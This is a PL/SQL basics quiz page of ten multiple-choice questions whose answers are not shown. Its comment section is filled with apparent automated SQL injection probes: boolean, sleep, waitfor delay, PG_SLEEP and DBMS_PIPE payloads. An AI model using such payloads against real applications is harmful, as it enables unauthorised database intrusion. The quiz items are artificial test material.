Pl/Sql MCQ Questions And Answers

Pl/Sql MCQs : This section focuses on "Basics" of Pl/Sql. These Multiple Choice Questions (MCQs) should be practiced to improve the Pl/Sql skills required for various interviews (campus interview, walk-in interview, company interview), placements, entrance exams and other competitive examinations.

1. pl/sql was developed by?

A. IBM
B. Oracle
C. Facebook
D. Google

View Answer


2. Which of the following is true?

A. PL/SQL is a completely portable
B. Pl/Sql is a high-performance transaction-processing language
C. PL/SQL provides a built-in, interpreted and OS independent programming environment
D. All of the above

View Answer


3. Which of the following are Features of PL/SQL?

A. PL/SQL is tightly integrated with SQL
B. Pl/sql offers extensive error checking
C. Pl/Sql offers numerous data types
D. All of the above

View Answer


4. PL/SQL provides high security level.

A. Yes
B. No
C. Can be yes or no
D. Can not say

View Answer


5. Every PL/SQL statement ends with a ?

A. colon
B. questionmark
C. semicolon
D. dollar sign

View Answer


6. PL/SQL blocks can be nested within other PL/SQL blocks using?

A. Begin
B. End
C. Both A and B
D. None of the above

View Answer


7. Which of the following is/are Advantages of PL/SQL?

A. PL/SQL is strongly integrated with SQL
B. PL/SQL allows sending an entire block of statements to the database at one time
C. PL/SQL gives high productivity to programmers as it can query, transform, and update data in a database
D. All of the above

View Answer


8. The PL/SQL supports?

A. single-line comments
B. multi-line comments
C. single-line and multi-line comments
D. None of the above

View Answer


9. PL/SQL provides support for Object-Oriented Programming.

A. TRUE
B. FALSE
C. Can be true or false
D. Can not say

View Answer


10. PL/SQL identifiers are?

A. constants
B. variables
C. exceptions
D. All of the above

View Answer





Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+786-786-1=0+0+0+1 --

pHqghUme
-1 OR 3+786-786-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+786-786) --

pHqghUme
-1 OR 3*2>(0+5+786-786) --

pHqghUme
-1 OR 2+421-421-1=0+0+0+1

pHqghUme
-1 OR 3+421-421-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+421-421)

pHqghUme
-1 OR 3*2>(0+5+421-421)

pHqghUme
-1' OR 2+687-687-1=0+0+0+1 --

pHqghUme
-1' OR 3+687-687-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+687-687) --

pHqghUme
-1' OR 3*2>(0+5+687-687) --

pHqghUme
-1' OR 2+424-424-1=0+0+0+1 or 'i9WqjWTR'='

pHqghUme
-1' OR 3+424-424-1=0+0+0+1 or 'i9WqjWTR'='

pHqghUme
-1' OR 3*2<(0+5+424-424) or 'i9WqjWTR'='

pHqghUme
-1' OR 3*2>(0+5+424-424) or 'i9WqjWTR'='

pHqghUme
-1" OR 2+662-662-1=0+0+0+1 --

pHqghUme
-1" OR 3+662-662-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+662-662) --

pHqghUme
-1" OR 3*2>(0+5+662-662) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
RQub4fyw'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 17=(SELECT 17 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 477=(SELECT 477 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 887=(SELECT 887 FROM PG_SLEEP(15))--

pHqghUme
qZNKXlbY' OR 67=(SELECT 67 FROM PG_SLEEP(15))--

pHqghUme
bpAdq9Jg') OR 484=(SELECT 484 FROM PG_SLEEP(15))--

pHqghUme
BanHKo1T')) OR 39=(SELECT 39 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@X3Rpx

pHqghUme
555

pHqghUme
555

pHqghUme
555